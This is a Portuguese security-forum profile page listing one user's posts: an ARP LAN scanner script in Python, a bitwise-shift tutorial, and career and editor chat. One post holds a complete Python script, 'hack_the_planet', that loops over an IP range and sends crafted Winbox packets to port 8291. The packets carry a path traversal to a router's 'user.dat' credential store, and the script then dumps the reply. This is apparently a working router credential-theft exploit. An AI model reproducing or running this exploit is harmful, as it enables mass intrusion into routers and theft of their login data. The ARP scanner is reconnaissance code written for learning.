Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    113
  • Registro em

  • Última visita

Reputação

55 Excellent

Últimos Visitantes

O bloco dos últimos visitantes está desativado e não está sendo visualizado por outros usuários.

  1. gnoo

    Cruz Credo!

    Eu gostava de usar vim mas não consigo principalmente para desenvolvimento web, Vim para mim não serve
  2. gnoo

    Cruz Credo!

    Qual é o editor de texto que usas @fredericopissarra ?
  3. Saudações, eu algum tempo atrás fiz um script em python com o objetivo de fazer scan ARP na minha LAN para efeitos educacionais... e não só 👁️ ... E decidi partilhar aqui esse script para quem quer tirar umas ideias .... E aqueles que quiserem dar umas sugestões de melhoria do código podem comentar para trocar umas ideias, para que eu possa também aprender coisas novas. O scan ARP pode ser interessante em várias situções, uma delas é quando queremos fazer um scan na nossa rede, e por alguma razão outros hosts ativos na rede podem estar a bloquear pacotes ICMP, não ter portas abertas no sistema para fazer scan através de handshake. Acho que o mais interessante disto tudo é perceber como um scan ARP funciona... Então nós sabemos que o nosso sistema para iniciar conversação com outro host na rede, precisa do endereço físico desse host ( MAC ADDRESS ), é ai que entra o protocolo ARP, para fazer a resolução de endereço do host que nós queremos comunicar com base no endereço de IP que temos, fazendo um broadcast ( pergunta de um para todos ), para todos os elementos estão ligados à rede, depois é nos devolvido uma resposta em Unicast ( resposta de um para um ) do host com o IP com o qual nos queremos comunicar. Então um scan ARP consiste em criar uma sequência de ip's, percorrer essa sequência de ip's num ciclo de repetição, a cada iteração desse ciclo de repetição criar um frame ethernet, criar um pacote ARP, adicionar o pacote ARP à carga do frame ethernet e enviar esse frame. No meu caso eu criei dois sockets um para enviar o pacote e outro para ficar em "escuta" de frames ethernet, analisando o seu tipo de ethernet... se o tipo for ARP analisamos a carga desse frame, e tentamos perceber se o tipo de operação do pacote que chega é 2, se essa condição for verdadeira então analisamos o ip de quem envia e o respetivo endereço fisico ( MAC ADDRESS ), e realizamos a saida de dados. ATENÇÂO: o script que segue deve ser melhorado especialmente na função em que é feita a iteração e o empacotamento uma vez que o seu tempo de execução está a demorar em média 8 a 10 segundos, deve ser aplicado um sistema de threads nessa função. O código que segue percisa de configurações... é necessário configurar o nome da placa de rede no socket que envia pacotes, tal como dados necessário para o pacote ARP SEGUE SCRIPT: #!/usr/bin/env python3 from socket import * import struct import binascii from ipaddress import IPv4Network import signal import sys import threading # Esta class serve para fazer o pacote ARP class Pacote_Arp(object): def __init__(self): self.tipo_hardware = None self.tipo_protocolo = None self.len_hardware = None self.len_protocolo = None self.operacao = None self.mac_src = None self.src_ip = None self.mac_dest = None self.dest_ip = None self.protocolo = None class Gestor_Pacotes(object): def __init__(self, socket_family, socket_type, protocolo, cabecalho_arp): self.socket_family = socket_family self.socket_type = socket_type self.protocolo = ntohs(protocolo) self.lista_ip = IPv4Network('192.168.1.0/24') self.cabecalho_arp = cabecalho_arp def Mac_unhexlify(self): mac_dest_byte_order = binascii.unhexlify(self.cabecalho_arp.mac_dest.replace(":", "")) mac_src_byte_order = binascii.unhexlify(self.cabecalho_arp.mac_src.replace(":", "")) return mac_dest_byte_order, mac_src_byte_order def Empacotamento_Frame_ArpHeader(self, ip): src_ip = inet_aton(self.cabecalho_arp.src_ip) self.cabecalho_arp.dest_ip = ip dest_ip = inet_aton(str(ip)) mac_dest_byte_order, mac_src_byte_order = self.Mac_unhexlify() frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, self.cabecalho_arp.protocolo) arp_header = struct.pack("!HHBBH6s4s6s4s", self.cabecalho_arp.tipo_hardware, self.cabecalho_arp.tipo_protocolo, self.cabecalho_arp.len_hardware, self.cabecalho_arp.len_protocolo, self.cabecalho_arp.operacao, mac_src_byte_order, src_ip, mac_dest_byte_order, dest_ip) return frame + arp_header def desempacotamento_header_arp(self,payload): (tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereco_protocolo, operacao, mac_sender, ip_sender, mac_dest, ip_dest) = struct.unpack("!HHBBH6s4s6s4s", payload) return tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, + \ tamanho_endereco_protocolo, operacao, mac_sender, ip_sender, mac_dest, ip_dest def byte_to_hex_mac(self, mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def desempacotamento_ethernet_frame(self,raw_dados): mac_destino, mac_fonte, tipo_ethernet = struct.unpack('! 6s 6s H', raw_dados[:14]) return tipo_ethernet, raw_dados[14:] def send_broadcast(self, pacote_broadcast): self.sock = socket(self.socket_family, self.socket_type, self.protocolo) self.sock.settimeout(0.3) self.sock.bind(("< PLACA DE REDE >",htons(0x0806))) self.sock.send(pacote_broadcast) self.sock.close() def recv_unicast(self): self.sock2 = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) try: while True: raw_dados, addr = self.sock2.recvfrom(65536) if raw_dados: tipo_ethernet, payload = self.desempacotamento_ethernet_frame(raw_dados) if tipo_ethernet == 2054: (tipo_hardware, tipo_protocolo, tamanho_endereco_hardware,tamanho_endereco_protocolo, operacao, mac_sender, ip_sender, mac_dest, ip_dest) = self.desempacotamento_header_arp(payload[:28]) if operacao == 2: print("Host: {} MAC: {} Hostname: {}".format(inet_ntoa(ip_sender), self.byte_to_hex_mac(mac_sender),getfqdn(inet_ntoa(ip_sender)))) except: pass # Gera pacotes com um ip diferente a cada iteração enviando esse pacote def for_loop_gera_pacote(): for ip_em_lista in GestorPacotes.lista_ip: pacote = GestorPacotes.Empacotamento_Frame_ArpHeader(ip = ip_em_lista) GestorPacotes.send_broadcast(pacote) def InterrompePrograma_CTRL_C(signal, frame): print("Programa interrompido pelo utilizador") sys.exit(0) if __name__ == '__main__': ##### AQUI SÂO INSERIDOS OS DADOS DO PACOTE ############### Arp = Pacote_Arp() Arp.tipo_hardware = 1 Arp.tipo_protocolo = 0x0800 Arp.len_hardware = 6 Arp.len_protocolo = 4 Arp.operacao = 1 Arp.mac_src = '' Arp.src_ip = '' Arp.mac_dest = 'ff:ff:ff:ff:ff:ff' Arp.protocolo = 0x0806 ##################################################### GestorPacotes = Gestor_Pacotes(socket_family = PF_PACKET, socket_type = SOCK_RAW , protocolo = 0x0806, cabecalho_arp = Arp) # Termina programa quando CTRL + C signal.signal(signal.SIGINT, InterrompePrograma_CTRL_C) # Esta thread """ Permite a execução do metodo recv_unicast da class Gestor_Pacotes, em simultaneo com a função for_loop_gera_pacote, o que nos permite que esse método fique em escuta enquanto empacotamos e fazemos o envio do pacotes em broadcast, podendo assim receber as respostas """ processo = threading.Thread( target = GestorPacotes.recv_unicast) # É necessário para que seja possivel sair do programa após a função for_loop_gera_pacote terminar processo.daemon = True processo.start() for_loop_gera_pacote() sys.exit(0) Abraço.
  4. @lucascruz o problema no teu código NO MEU ponto de vista, tem a ver com lógica, ou seja, os dados a enviar, a receber e a ser manipulados devem ser feitos apenas se a conexão se realizar, tens que testar se a conexão existe e só depois envias os dados, recebes os dados e fazes o tratamento dos dados recebidos. Se a conexão não for efectuada é nos dado um erro que nos dá uma ideia da razão pela qual não fez conexão para nos ajudar a resolver problemas. A questão agora é se há algum problema com o código do bloco de instruções que é executado se a ligação for efectuada, uma vez que não consigo reproduzir esse ambiente onde a falha existe, não consigo testar, isso já fica ao teu encargo. ATENÇÃO: Eu comentei a linha from extract_user import dump para não dar erro a dizer quer extract_user não existe uma vez que não baixei o código do github apenas olhei para aquele foi aqui referido, para usar o dump tens que descomentar a essa linha. Segue código: #!/usr/bin/env python3 import socket import sys #from extract_user import dump def hack_the_planet(ip): a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] # Initialize Socket try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ATENÇÃO: Deve ser alterado mediante a necessidade s.settimeout(0.5) # excuta a conexão print("A testar Host: " + str(ip)) conexao = s.connect_ex((ip, 8291)) # Testa se conexao efetuada com sucesso, # Se valor for 0 a conexao foi efetuada if conexao == 0: print("Conexão efetuada com sucesso em {}".format(ip)) # Se conexao efetuada executa bloco de instruções que segue # Convert to bytearray for manipulation a = bytearray(a) b = bytearray(b) # Send hello and recieve the sesison id s.send(a) d = bytearray(s.recv(1024)) # Replace the session id in template b[19] = d[38] # Send the edited response s.send(b) d = bytearray(s.recv(1024)) # Get results print(ip) dump(d[55:]) s.close() except socket.error as erro: # SE conexão não efetuada devolve erro e passa para a iteração seguinte print("IP: {} Porta: 8291, conexão não efetuada -> {}\n".format(ip, erro)) print('VARRENDO HOSTS ...') if __name__ == "__main__": iprange =['177.77.777.' + str(x) for x in range(0, 250)] for ip in iprange: hack_the_planet(ip) Abraço
  5. @lucascruz pelo que eu percebi esse scan é para ser feito numa rede LAN, ou estou enganado?
  6. @kassane há PDF disso na rede? Procurei e não encontrei.
  7. Já tentaste tutoriais em video?
  8. @vitoralmeida tudo bem!? Olha eu não trabalho nem nunca trabalhei na àrea de TI, digamos que sou apenas um curioso que gosta saber como as coisas funcionam, para isso tenho eu estudar um pouco mas não o faço por obrigação, mas posso deixar o meu testemunho. Antes de mais como o @Fernando Mercês disse e bem, aproveita tudo o que a faculdade te pode oferecer. Há uma coisa que deves perceber logo de inicio, a questão que tu falas sobre desenvolvimento web e a segurança, tu falas como se fossem duas coisas distintas quando não são, ou seja uma coisa deve complementar a outra, o que eu quero dizer com isso é que um dos melhores exercicios que podes ter é fazer uma aplicação web, porque durante o desenvolvimento dessa aplicação tens que estudar redes, tens que estudar programação e ainda tens que estudar como aplicar sistemas de segurança nessa aplicação para tentar evitar ataques, ataques esses de varios tipos, vais mexer com formularios, sistemas de autenticação, vai mexer com proteções para XSS vais ouvir falar injeções SQL vais ouvir falar de Keys, vai ouvir falar de Tokens Coockies, payloads, vais ter que configurar servidores e perceber sistemas de configuração e segurança vais mexer com TLS, vai mexer com DNS, com bases de dados.... a segurança não está separada do desenvolvimento web, antes pelo contrario. Depois vai ser mais facil perceber a parte ofensiva, do ataque porque já conheces os sistemas implementados, frameworks, etc... Isto é só a opinião de quem leva isto como um hobbie... mas fica a ideia... Abraço.
  9. @fredericopissarra devias fazer um artigo sobre isso, porque encontramos muita informação mas com esse nível de análise é difícil
  10. @fredericopissarra eu quando fiz este post fiz a pensar em dados do tipo inteiro, e realmente não pensei além disso o que talvez tenha sido um erro, tanto não pensei em números negativos como também não pensei em valores do tipo char, qualquer das formas ficou bem claro que existem algumas variáveis neste tipo de abordagem. Obrigado.
  11. @fredericopissarra realmente eu não tinha pensado nisto com número negativos, obrigado por lembrares esse pormenor. Só não percebi o reparo que fazes na multiplicação, quando dizes que 127 positivo com um 1 bit para a esquerda o resultado é -2, eu estou a tentar fazer isso e obtenho um resultado diferente, podes fazer um script a demonstrar isso? Obrigado.
  12. @trevizan Obrigado espero que seja útil. :) Não sei se este exemplo chega para implementar funções matemáticas/criptográficas, mas se for o inicio de algo já é bom.
  13. Saudações, quando começamos a mexer com operadores bitwise, não é difícil encontrar conteúdo que nos serve como exemplo, mas há alguns pormenores que nos pode ajudar a estruturar um raciocínio na altura de manipular bits que nunca são referidos, neste caso vou deixar aqui uma ideia que nos podem ajudar a usar os operadores shift left e shift right. Os exemplos que vou deixar são feitos com python, mas o conceito é o mesmo para outras linguagens programação. Conceito básico de POTÊNCIA ( matemática) Potência é uma multiplicação onde se repete sempre o mesmo fator. Exemplo com shift left Imaginando o seguinte exemplo Raciocínio: Que é o mesmo que…. Exemplo com shift right Raciocínio Que é o mesmo que… Quando o resultado do shift right é um número decimal Quando o número do resultado do shift right é um número decimal o número perde as casas decimais sendo apenas representado por um número inteiro. Imaginando que temos 5 >> 1, em que 5 é dividido por 2 elevado a 1 ( que é 2, sendo que todos os números elevados a 1 representam o mesmo número ), então 5 : 2 = 2,5 Mas o resultado vai ser 2, é sempre representado por um número inteiro, vamos ver na prática É claro que o que está por trás disto é um pouco mais complexo, mas acho que esta abordagem é interessante na altura de pensar uma solução para o nosso problema. Abraço.
×
×
  • Criar Novo...